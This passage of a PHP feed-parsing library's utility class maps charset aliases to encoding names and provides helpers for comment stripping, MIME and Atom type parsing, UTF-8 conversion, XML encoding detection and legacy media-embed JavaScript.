case 'ebcdiccpus':
case 'ebcdiccpwt':
case 'ibm37':
return 'IBM037';
case 'cp38':
case 'csibm38':
case 'ebcdicint':
case 'ibm38':
return 'IBM038';
case 'cp273':
case 'csibm273':
case 'ibm273':
return 'IBM273';
case 'cp274':
case 'csibm274':
case 'ebcdicbe':
case 'ibm274':
return 'IBM274';
case 'cp275':
case 'csibm275':
case 'ebcdicbr':
case 'ibm275':
return 'IBM275';
case 'csibm277':
case 'ebcdiccpdk':
case 'ebcdiccpno':
case 'ibm277':
return 'IBM277';
case 'cp278':
case 'csibm278':
case 'ebcdiccpfi':
case 'ebcdiccpse':
case 'ibm278':
return 'IBM278';
case 'cp280':
case 'csibm280':
case 'ebcdiccpit':
case 'ibm280':
return 'IBM280';
case 'cp281':
case 'csibm281':
case 'ebcdicjpe':
case 'ibm281':
return 'IBM281';
case 'cp284':
case 'csibm284':
case 'ebcdiccpes':
case 'ibm284':
return 'IBM284';
case 'cp285':
case 'csibm285':
case 'ebcdiccpgb':
case 'ibm285':
return 'IBM285';
case 'cp290':
case 'csibm290':
case 'ebcdicjpkana':
case 'ibm290':
return 'IBM290';
case 'cp297':
case 'csibm297':
case 'ebcdiccpfr':
case 'ibm297':
return 'IBM297';
case 'cp420':
case 'csibm420':
case 'ebcdiccpar1':
case 'ibm420':
return 'IBM420';
case 'cp423':
case 'csibm423':
case 'ebcdiccpgr':
case 'ibm423':
return 'IBM423';
case 'cp424':
case 'csibm424':
case 'ebcdiccphe':
case 'ibm424':
return 'IBM424';
case '437':
case 'cp437':
case 'cspc8codepage437':
case 'ibm437':
return 'IBM437';
case 'cp500':
case 'csibm500':
case 'ebcdiccpbe':
case 'ebcdiccpch':
case 'ibm500':
return 'IBM500';
case 'cp775':
case 'cspc775baltic':
case 'ibm775':
return 'IBM775';
case '850':
case 'cp850':
case 'cspc850multilingual':
case 'ibm850':
return 'IBM850';
case '851':
case 'cp851':
case 'csibm851':
case 'ibm851':
return 'IBM851';
case '852':
case 'cp852':
case 'cspcp852':
case 'ibm852':
return 'IBM852';
case '855':
case 'cp855':
case 'csibm855':
case 'ibm855':
return 'IBM855';
case '857':
case 'cp857':
case 'csibm857':
case 'ibm857':
return 'IBM857';
case 'ccsid858':
case 'cp858':
case 'ibm858':
case 'pcmultilingual850euro':
return 'IBM00858';
case '860':
case 'cp860':
case 'csibm860':
case 'ibm860':
return 'IBM860';
case '861':
case 'cp861':
case 'cpis':
case 'csibm861':
case 'ibm861':
return 'IBM861';
case '862':
case 'cp862':
case 'cspc862latinhebrew':
case 'ibm862':
return 'IBM862';
case '863':
case 'cp863':
case 'csibm863':
case 'ibm863':
return 'IBM863';
case 'cp864':
case 'csibm864':
case 'ibm864':
return 'IBM864';
case '865':
case 'cp865':
case 'csibm865':
case 'ibm865':
return 'IBM865';
case '866':
case 'cp866':
case 'csibm866':
case 'ibm866':
return 'IBM866';
case 'cp868':
case 'cpar':
case 'csibm868':
case 'ibm868':
return 'IBM868';
case '869':
case 'cp869':
case 'cpgr':
case 'csibm869':
case 'ibm869':
return 'IBM869';
case 'cp870':
case 'csibm870':
case 'ebcdiccproece':
case 'ebcdiccpyu':
case 'ibm870':
return 'IBM870';
case 'cp871':
case 'csibm871':
case 'ebcdiccpis':
case 'ibm871':
return 'IBM871';
case 'cp880':
case 'csibm880':
case 'ebcdiccyrillic':
case 'ibm880':
return 'IBM880';
case 'cp891':
case 'csibm891':
case 'ibm891':
return 'IBM891';
case 'cp903':
case 'csibm903':
case 'ibm903':
return 'IBM903';
case '904':
case 'cp904':
case 'csibbm904':
case 'ibm904':
return 'IBM904';
case 'cp905':
case 'csibm905':
case 'ebcdiccptr':
case 'ibm905':
return 'IBM905';
case 'cp918':
case 'csibm918':
case 'ebcdiccpar2':
case 'ibm918':
return 'IBM918';
case 'ccsid924':
case 'cp924':
case 'ebcdiclatin9euro':
case 'ibm924':
return 'IBM00924';
case 'cp1026':
case 'csibm1026':
case 'ibm1026':
return 'IBM1026';
case 'ibm1047':
return 'IBM1047';
case 'ccsid1140':
case 'cp1140':
case 'ebcdicus37euro':
case 'ibm1140':
return 'IBM01140';
case 'ccsid1141':
case 'cp1141':
case 'ebcdicde273euro':
case 'ibm1141':
return 'IBM01141';
case 'ccsid1142':
case 'cp1142':
case 'ebcdicdk277euro':
case 'ebcdicno277euro':
case 'ibm1142':
return 'IBM01142';
case 'ccsid1143':
case 'cp1143':
case 'ebcdicfi278euro':
case 'ebcdicse278euro':
case 'ibm1143':
return 'IBM01143';
case 'ccsid1144':
case 'cp1144':
case 'ebcdicit280euro':
case 'ibm1144':
return 'IBM01144';
case 'ccsid1145':
case 'cp1145':
case 'ebcdices284euro':
case 'ibm1145':
return 'IBM01145';
case 'ccsid1146':
case 'cp1146':
case 'ebcdicgb285euro':
case 'ibm1146':
return 'IBM01146';
case 'ccsid1147':
case 'cp1147':
case 'ebcdicfr297euro':
case 'ibm1147':
return 'IBM01147';
case 'ccsid1148':
case 'cp1148':
case 'ebcdicinternational500euro':
case 'ibm1148':
return 'IBM01148';
case 'ccsid1149':
case 'cp1149':
case 'ebcdicis871euro':
case 'ibm1149':
return 'IBM01149';
case 'csiso143iecp271':
case 'iecp271':
case 'isoir143':
return 'IEC_P27-1';
case 'csiso49inis':
case 'inis':
case 'isoir49':
return 'INIS';
case 'csiso50inis8':
case 'inis8':
case 'isoir50':
return 'INIS-8';
case 'csiso51iniscyrillic':
case 'iniscyrillic':
case 'isoir51':
return 'INIS-cyrillic';
case 'csinvariant':
case 'invariant':
return 'INVARIANT';
case 'iso2022cn':
return 'ISO-2022-CN';
case 'iso2022cnext':
return 'ISO-2022-CN-EXT';
case 'csiso2022jp':
case 'iso2022jp':
return 'ISO-2022-JP';
case 'csiso2022jp2':
case 'iso2022jp2':
return 'ISO-2022-JP-2';
case 'csiso2022kr':
case 'iso2022kr':
return 'ISO-2022-KR';
case 'cswindows30latin1':
case 'iso88591windows30latin1':
return 'ISO-8859-1-Windows-3.0-Latin-1';
case 'cswindows31latin1':
case 'iso88591windows31latin1':
return 'ISO-8859-1-Windows-3.1-Latin-1';
case 'csisolatin2':
case 'iso88592':
case 'iso885921987':
case 'isoir101':
case 'l2':
case 'latin2':
return 'ISO-8859-2';
case 'cswindows31latin2':
case 'iso88592windowslatin2':
return 'ISO-8859-2-Windows-Latin-2';
case 'csisolatin3':
case 'iso88593':
case 'iso885931988':
case 'isoir109':
case 'l3':
case 'latin3':
return 'ISO-8859-3';
case 'csisolatin4':
case 'iso88594':
case 'iso885941988':
case 'isoir110':
case 'l4':
case 'latin4':
return 'ISO-8859-4';
case 'csisolatincyrillic':
case 'cyrillic':
case 'iso88595':
case 'iso885951988':
case 'isoir144':
return 'ISO-8859-5';
case 'arabic':
case 'asmo708':
case 'csisolatinarabic':
case 'ecma114':
case 'iso88596':
case 'iso885961987':
case 'isoir127':
return 'ISO-8859-6';
case 'csiso88596e':
case 'iso88596e':
return 'ISO-8859-6-E';
case 'csiso88596i':
case 'iso88596i':
return 'ISO-8859-6-I';
case 'csisolatingreek':
case 'ecma118':
case 'elot928':
case 'greek':
case 'greek8':
case 'iso88597':
case 'iso885971987':
case 'isoir126':
return 'ISO-8859-7';
case 'csisolatinhebrew':
case 'hebrew':
case 'iso88598':
case 'iso885981988':
case 'isoir138':
return 'ISO-8859-8';
case 'csiso88598e':
case 'iso88598e':
return 'ISO-8859-8-E';
case 'csiso88598i':
case 'iso88598i':
return 'ISO-8859-8-I';
case 'cswindows31latin5':
case 'iso88599windowslatin5':
return 'ISO-8859-9-Windows-Latin-5';
case 'csisolatin6':
case 'iso885910':
case 'iso8859101992':
case 'isoir157':
case 'l6':
case 'latin6':
return 'ISO-8859-10';
case 'iso885913':
return 'ISO-8859-13';
case 'iso885914':
case 'iso8859141998':
case 'isoceltic':
case 'isoir199':
case 'l8':
case 'latin8':
return 'ISO-8859-14';
case 'iso885915':
case 'latin9':
return 'ISO-8859-15';
case 'iso885916':
case 'iso8859162001':
case 'isoir226':
case 'l10':
case 'latin10':
return 'ISO-8859-16';
case 'iso10646j1':
return 'ISO-10646-J-1';
case 'csunicode':
case 'iso10646ucs2':
return 'ISO-10646-UCS-2';
case 'csucs4':
case 'iso10646ucs4':
return 'ISO-10646-UCS-4';
case 'csunicodeascii':
case 'iso10646ucsbasic':
return 'ISO-10646-UCS-Basic';
case 'csunicodelatin1':
case 'iso10646':
case 'iso10646unicodelatin1':
return 'ISO-10646-Unicode-Latin1';
case 'csiso10646utf1':
case 'iso10646utf1':
return 'ISO-10646-UTF-1';
case 'csiso115481':
case 'iso115481':
case 'isotr115481':
return 'ISO-11548-1';
case 'csiso90':
case 'isoir90':
return 'iso-ir-90';
case 'csunicodeibm1261':
case 'isounicodeibm1261':
return 'ISO-Unicode-IBM-1261';
case 'csunicodeibm1264':
case 'isounicodeibm1264':
return 'ISO-Unicode-IBM-1264';
case 'csunicodeibm1265':
case 'isounicodeibm1265':
return 'ISO-Unicode-IBM-1265';
case 'csunicodeibm1268':
case 'isounicodeibm1268':
return 'ISO-Unicode-IBM-1268';
case 'csunicodeibm1276':
case 'isounicodeibm1276':
return 'ISO-Unicode-IBM-1276';
case 'csiso646basic1983':
case 'iso646basic1983':
case 'ref':
return 'ISO_646.basic:1983';
case 'csiso2intlrefversion':
case 'irv':
case 'iso646irv1983':
case 'isoir2':
return 'ISO_646.irv:1983';
case 'csiso2033':
case 'e13b':
case 'iso20331983':
case 'isoir98':
return 'ISO_2033-1983';
case 'csiso5427cyrillic':
case 'iso5427':
case 'isoir37':
return 'ISO_5427';
case 'iso5427cyrillic1981':
case 'iso54271981':
case 'isoir54':
return 'ISO_5427:1981';
case 'csiso5428greek':
case 'iso54281980':
case 'isoir55':
return 'ISO_5428:1980';
case 'csiso6937add':
case 'iso6937225':
case 'isoir152':
return 'ISO_6937-2-25';
case 'csisotextcomm':
case 'iso69372add':
case 'isoir142':
return 'ISO_6937-2-add';
case 'csiso8859supp':
case 'iso8859supp':
case 'isoir154':
case 'latin125':
return 'ISO_8859-supp';
case 'csiso10367box':
case 'iso10367box':
case 'isoir155':
return 'ISO_10367-box';
case 'csiso15italian':
case 'iso646it':
case 'isoir15':
case 'it':
return 'IT';
case 'csiso13jisc6220jp':
case 'isoir13':
case 'jisc62201969':
case 'jisc62201969jp':
case 'katakana':
case 'x2017':
return 'JIS_C6220-1969-jp';
case 'csiso14jisc6220ro':
case 'iso646jp':
case 'isoir14':
case 'jisc62201969ro':
case 'jp':
return 'JIS_C6220-1969-ro';
case 'csiso42jisc62261978':
case 'isoir42':
case 'jisc62261978':
return 'JIS_C6226-1978';
case 'csiso87jisx208':
case 'isoir87':
case 'jisc62261983':
case 'jisx2081983':
case 'x208':
return 'JIS_C6226-1983';
case 'csiso91jisc62291984a':
case 'isoir91':
case 'jisc62291984a':
case 'jpocra':
return 'JIS_C6229-1984-a';
case 'csiso92jisc62991984b':
case 'iso646jpocrb':
case 'isoir92':
case 'jisc62291984b':
case 'jpocrb':
return 'JIS_C6229-1984-b';
case 'csiso93jis62291984badd':
case 'isoir93':
case 'jisc62291984badd':
case 'jpocrbadd':
return 'JIS_C6229-1984-b-add';
case 'csiso94jis62291984hand':
case 'isoir94':
case 'jisc62291984hand':
case 'jpocrhand':
return 'JIS_C6229-1984-hand';
case 'csiso95jis62291984handadd':
case 'isoir95':
case 'jisc62291984handadd':
case 'jpocrhandadd':
return 'JIS_C6229-1984-hand-add';
case 'csiso96jisc62291984kana':
case 'isoir96':
case 'jisc62291984kana':
return 'JIS_C6229-1984-kana';
case 'csjisencoding':
case 'jisencoding':
return 'JIS_Encoding';
case 'cshalfwidthkatakana':
case 'jisx201':
case 'x201':
return 'JIS_X0201';
case 'csiso159jisx2121990':
case 'isoir159':
case 'jisx2121990':
case 'x212':
return 'JIS_X0212-1990';
case 'csiso141jusib1002':
case 'iso646yu':
case 'isoir141':
case 'js':
case 'jusib1002':
case 'yu':
return 'JUS_I.B1.002';
case 'csiso147macedonian':
case 'isoir147':
case 'jusib1003mac':
case 'macedonian':
return 'JUS_I.B1.003-mac';
case 'csiso146serbian':
case 'isoir146':
case 'jusib1003serb':
case 'serbian':
return 'JUS_I.B1.003-serb';
case 'koi7switched':
return 'KOI7-switched';
case 'cskoi8r':
case 'koi8r':
return 'KOI8-R';
case 'koi8u':
return 'KOI8-U';
case 'csksc5636':
case 'iso646kr':
case 'ksc5636':
return 'KSC5636';
case 'cskz1048':
case 'kz1048':
case 'rk1048':
case 'strk10482002':
return 'KZ-1048';
case 'csiso19latingreek':
case 'isoir19':
case 'latingreek':
return 'latin-greek';
case 'csiso27latingreek1':
case 'isoir27':
case 'latingreek1':
return 'Latin-greek-1';
case 'csiso158lap':
case 'isoir158':
case 'lap':
case 'latinlap':
return 'latin-lap';
case 'csmacintosh':
case 'mac':
case 'macintosh':
return 'macintosh';
case 'csmicrosoftpublishing':
case 'microsoftpublishing':
return 'Microsoft-Publishing';
case 'csmnem':
case 'mnem':
return 'MNEM';
case 'csmnemonic':
case 'mnemonic':
return 'MNEMONIC';
case 'csiso86hungarian':
case 'hu':
case 'iso646hu':
case 'isoir86':
case 'msz77953':
return 'MSZ_7795.3';
case 'csnatsdano':
case 'isoir91':
case 'natsdano':
return 'NATS-DANO';
case 'csnatsdanoadd':
case 'isoir92':
case 'natsdanoadd':
return 'NATS-DANO-ADD';
case 'csnatssefi':
case 'isoir81':
case 'natssefi':
return 'NATS-SEFI';
case 'csnatssefiadd':
case 'isoir82':
case 'natssefiadd':
return 'NATS-SEFI-ADD';
case 'csiso151cuba':
case 'cuba':
case 'iso646cu':
case 'isoir151':
case 'ncnc1081':
return 'NC_NC00-10:81';
case 'csiso69french':
case 'fr':
case 'iso646fr':
case 'isoir69':
case 'nfz62010':
return 'NF_Z_62-010';
case 'csiso25french':
case 'iso646fr1':
case 'isoir25':
case 'nfz620101973':
return 'NF_Z_62-010_(1973)';
case 'csiso60danishnorwegian':
case 'csiso60norwegian1':
case 'iso646no':
case 'isoir60':
case 'no':
case 'ns45511':
return 'NS_4551-1';
case 'csiso61norwegian2':
case 'iso646no2':
case 'isoir61':
case 'no2':
case 'ns45512':
return 'NS_4551-2';
case 'osdebcdicdf3irv':
return 'OSD_EBCDIC_DF03_IRV';
case 'osdebcdicdf41':
return 'OSD_EBCDIC_DF04_1';
case 'osdebcdicdf415':
return 'OSD_EBCDIC_DF04_15';
case 'cspc8danishnorwegian':
case 'pc8danishnorwegian':
return 'PC8-Danish-Norwegian';
case 'cspc8turkish':
case 'pc8turkish':
return 'PC8-Turkish';
case 'csiso16portuguese':
case 'iso646pt':
case 'isoir16':
case 'pt':
return 'PT';
case 'csiso84portuguese2':
case 'iso646pt2':
case 'isoir84':
case 'pt2':
return 'PT2';
case 'cp154':
case 'csptcp154':
case 'cyrillicasian':
case 'pt154':
case 'ptcp154':
return 'PTCP154';
case 'scsu':
return 'SCSU';
case 'csiso10swedish':
case 'fi':
case 'iso646fi':
case 'iso646se':
case 'isoir10':
case 'se':
case 'sen850200b':
return 'SEN_850200_B';
case 'csiso11swedishfornames':
case 'iso646se2':
case 'isoir11':
case 'se2':
case 'sen850200c':
return 'SEN_850200_C';
case 'csiso102t617bit':
case 'isoir102':
case 't617bit':
return 'T.61-7bit';
case 'csiso103t618bit':
case 'isoir103':
case 't61':
case 't618bit':
return 'T.61-8bit';
case 'csiso128t101g2':
case 'isoir128':
case 't101g2':
return 'T.101-G2';
case 'cstscii':
case 'tscii':
return 'TSCII';
case 'csunicode11':
case 'unicode11':
return 'UNICODE-1-1';
case 'csunicode11utf7':
case 'unicode11utf7':
return 'UNICODE-1-1-UTF-7';
case 'csunknown8bit':
case 'unknown8bit':
return 'UNKNOWN-8BIT';
case 'ansix341968':
case 'ansix341986':
case 'ascii':
case 'cp367':
case 'csascii':
case 'ibm367':
case 'iso646irv1991':
case 'iso646us':
case 'isoir6':
case 'us':
case 'usascii':
return 'US-ASCII';
case 'csusdk':
case 'usdk':
return 'us-dk';
case 'utf7':
return 'UTF-7';
case 'utf8':
return 'UTF-8';
case 'utf16':
return 'UTF-16';
case 'utf16be':
return 'UTF-16BE';
case 'utf16le':
return 'UTF-16LE';
case 'utf32':
return 'UTF-32';
case 'utf32be':
return 'UTF-32BE';
case 'utf32le':
return 'UTF-32LE';
case 'csventurainternational':
case 'venturainternational':
return 'Ventura-International';
case 'csventuramath':
case 'venturamath':
return 'Ventura-Math';
case 'csventuraus':
case 'venturaus':
return 'Ventura-US';
case 'csiso70videotexsupp1':
case 'isoir70':
case 'videotexsuppl':
return 'videotex-suppl';
case 'csviqr':
case 'viqr':
return 'VIQR';
case 'csviscii':
case 'viscii':
return 'VISCII';
case 'csshiftjis':
case 'cswindows31j':
case 'mskanji':
case 'shiftjis':
case 'windows31j':
return 'Windows-31J';
case 'iso885911':
case 'tis620':
return 'windows-874';
case 'cseuckr':
case 'csksc56011987':
case 'euckr':
case 'isoir149':
case 'korean':
case 'ksc5601':
case 'ksc56011987':
case 'ksc56011989':
case 'windows949':
return 'windows-949';
case 'windows1250':
return 'windows-1250';
case 'windows1251':
return 'windows-1251';
case 'cp819':
case 'csisolatin1':
case 'ibm819':
case 'iso88591':
case 'iso885911987':
case 'isoir100':
case 'l1':
case 'latin1':
case 'windows1252':
return 'windows-1252';
case 'windows1253':
return 'windows-1253';
case 'csisolatin5':
case 'iso88599':
case 'iso885991989':
case 'isoir148':
case 'l5':
case 'latin5':
case 'windows1254':
return 'windows-1254';
case 'windows1255':
return 'windows-1255';
case 'windows1256':
return 'windows-1256';
case 'windows1257':
return 'windows-1257';
case 'windows1258':
return 'windows-1258';
default:
return $charset;
}
}
/**
* @return string
*/
public static function get_curl_version()
{
if (is_array($curl = curl_version())) {
$curl = $curl['version'];
} else {
$curl = '0';
}
return $curl;
}
/**
* Strip HTML comments
*
* @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
* @param string $data Data to strip comments from
* @return string Comment stripped string
*/
public static function strip_comments(string $data)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);
$output = '';
while (($start = strpos($data, '<!--')) !== false) {
$output .= substr($data, 0, $start);
if (($end = strpos($data, '-->', $start)) !== false) {
$data = substr_replace($data, '', 0, $end + 3);
} else {
$data = '';
}
}
return $output . $data;
}
/**
* @return int|false
*/
public static function parse_date(string $dt)
{
$parser = \SimplePie\Parse\Date::get();
return $parser->parse($dt);
}
/**
* Decode HTML entities
*
* @deprecated since SimplePie 1.3, use DOMDocument instead
* @param string $data Input data
* @return string Output data
*/
public static function entities_decode(string $data)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);
$decoder = new \SimplePie_Decode_HTML_Entities($data);
return $decoder->parse();
}
/**
* Remove RFC822 comments
*
* @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
* @param string $string Data to strip comments from
* @return string Comment stripped string
*/
public static function uncomment_rfc822(string $string)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);
$position = 0;
$length = strlen($string);
$depth = 0;
$output = '';
while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
$output .= substr($string, $position, $pos - $position);
$position = $pos + 1;
if ($string[$pos - 1] !== '\\') {
$depth++;
while ($depth && $position < $length) {
$position += strcspn($string, '()', $position);
if ($string[$position - 1] === '\\') {
$position++;
continue;
} elseif (isset($string[$position])) {
switch ($string[$position]) {
case '(':
$depth++;
break;
case ')':
$depth--;
break;
}
$position++;
} else {
break;
}
}
} else {
$output .= '(';
}
}
$output .= substr($string, $position);
return $output;
}
/**
* @return string
*/
public static function parse_mime(string $mime)
{
if (($pos = strpos($mime, ';')) === false) {
return trim($mime);
}
return trim(substr($mime, 0, $pos));
}
/**
* @param array<string, array<string, string>> $attribs
* @return int-mask-of<SimplePie::CONSTRUCT_*>
*/
public static function atom_03_construct_type(array $attribs)
{
if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode'])) === 'base64') {
$mode = \SimplePie\SimplePie::CONSTRUCT_BASE64;
} else {
$mode = \SimplePie\SimplePie::CONSTRUCT_NONE;
}
if (isset($attribs['']['type'])) {
switch (strtolower(trim($attribs['']['type']))) {
case 'text':
case 'text/plain':
return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
case 'html':
case 'text/html':
return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode;
case 'xhtml':
case 'application/xhtml+xml':
return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode;
default:
return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode;
}
}
return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
}
/**
* @param array<string, array<string, string>> $attribs
* @return int-mask-of<SimplePie::CONSTRUCT_*>
*/
public static function atom_10_construct_type(array $attribs)
{
if (isset($attribs['']['type'])) {
switch (strtolower(trim($attribs['']['type']))) {
case 'text':
return \SimplePie\SimplePie::CONSTRUCT_TEXT;
case 'html':
return \SimplePie\SimplePie::CONSTRUCT_HTML;
case 'xhtml':
return \SimplePie\SimplePie::CONSTRUCT_XHTML;
default:
return \SimplePie\SimplePie::CONSTRUCT_NONE;
}
}
return \SimplePie\SimplePie::CONSTRUCT_TEXT;
}
/**
* @param array<string, array<string, string>> $attribs
* @return int-mask-of<SimplePie::CONSTRUCT_*>
*/
public static function atom_10_content_construct_type(array $attribs)
{
if (isset($attribs['']['type'])) {
$type = strtolower(trim($attribs['']['type']));
switch ($type) {
case 'text':
return \SimplePie\SimplePie::CONSTRUCT_TEXT;
case 'html':
return \SimplePie\SimplePie::CONSTRUCT_HTML;
case 'xhtml':
return \SimplePie\SimplePie::CONSTRUCT_XHTML;
}
if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') {
return \SimplePie\SimplePie::CONSTRUCT_NONE;
} else {
return \SimplePie\SimplePie::CONSTRUCT_BASE64;
}
}
return \SimplePie\SimplePie::CONSTRUCT_TEXT;
}
/**
* @return bool
*/
public static function is_isegment_nz_nc(string $string)
{
return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
}
/**
* @return string[]
*/
public static function space_separated_tokens(string $string)
{
$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
$string_length = strlen($string);
$position = strspn($string, $space_characters);
$tokens = [];
while ($position < $string_length) {
$len = strcspn($string, $space_characters, $position);
$tokens[] = substr($string, $position, $len);
$position += $len;
$position += strspn($string, $space_characters, $position);
}
return $tokens;
}
/**
* Converts a unicode codepoint to a UTF-8 character
*
* @static
* @param int $codepoint Unicode codepoint
* @return string|false UTF-8 character
*/
public static function codepoint_to_utf8(int $codepoint)
{
if ($codepoint < 0) {
return false;
} elseif ($codepoint <= 0x7f) {
return chr($codepoint);
} elseif ($codepoint <= 0x7ff) {
return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
} elseif ($codepoint <= 0xffff) {
return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
} elseif ($codepoint <= 0x10ffff) {
return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
}
// U+FFFD REPLACEMENT CHARACTER
return "\xEF\xBF\xBD";
}
/**
* Similar to parse_str()
*
* Returns an associative array of name/value pairs, where the value is an
* array of values that have used the same name
*
* @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
* @static
* @param string $str The input string.
* @return array<string, array<string|null>>
*/
public static function parse_str(string $str)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);
$return = [];
$str = explode('&', $str);
foreach ($str as $section) {
if (strpos($section, '=') !== false) {
[$name, $value] = explode('=', $section, 2);
$return[urldecode($name)][] = urldecode($value);
} else {
$return[urldecode($section)][] = null;
}
}
return $return;
}
/**
* Detect XML encoding, as per XML 1.0 Appendix F.1
*
* @todo Add support for EBCDIC
* @param string $data XML data
* @param \SimplePie\Registry $registry Class registry
* @return array<string> Possible encodings
*/
public static function xml_encoding(string $data, \SimplePie\Registry $registry)
{
// UTF-32 Big Endian BOM
if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
$encoding[] = 'UTF-32BE';
}
// UTF-32 Little Endian BOM
elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
$encoding[] = 'UTF-32LE';
}
// UTF-16 Big Endian BOM
elseif (substr($data, 0, 2) === "\xFE\xFF") {
$encoding[] = 'UTF-16BE';
}
// UTF-16 Little Endian BOM
elseif (substr($data, 0, 2) === "\xFF\xFE") {
$encoding[] = 'UTF-16LE';
}
// UTF-8 BOM
elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
$encoding[] = 'UTF-8';
}
// UTF-32 Big Endian Without BOM
elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") {
if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) {
$parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]);
if ($parser->parse()) {
$encoding[] = $parser->encoding;
}
}
$encoding[] = 'UTF-32BE';
}
// UTF-32 Little Endian Without BOM
elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") {
if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) {
$parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]);
if ($parser->parse()) {
$encoding[] = $parser->encoding;
}
}
$encoding[] = 'UTF-32LE';
}
// UTF-16 Big Endian Without BOM
elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") {
if ($pos = strpos($data, "\x00\x3F\x00\x3E")) {
$parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]);
if ($parser->parse()) {
$encoding[] = $parser->encoding;
}
}
$encoding[] = 'UTF-16BE';
}
// UTF-16 Little Endian Without BOM
elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") {
if ($pos = strpos($data, "\x3F\x00\x3E\x00")) {
$parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]);
if ($parser->parse()) {
$encoding[] = $parser->encoding;
}
}
$encoding[] = 'UTF-16LE';
}
// US-ASCII (or superset)
elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") {
if ($pos = strpos($data, "\x3F\x3E")) {
$parser = $registry->create(Parser::class, [substr($data, 5, $pos - 5)]);
if ($parser->parse()) {
$encoding[] = $parser->encoding;
}
}
$encoding[] = 'UTF-8';
}
// Fallback to UTF-8
else {
$encoding[] = 'UTF-8';
}
return $encoding;
}
/**
* @return void
*/
public static function output_javascript()
{
if (function_exists('ob_gzhandler')) {
ob_start('ob_gzhandler');
}
header('Content-type: text/javascript; charset: UTF-8');
header('Cache-Control: must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
$body = <<<JS
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
if (placeholder != '') {
document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
}
else {
document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
}
}
function embed_flash(bgcolor, width, height, link, loop, type) {
document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}
function embed_flv(width, height, link, placeholder, loop, player) {
document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}
function embed_wmedia(width, height, link) {
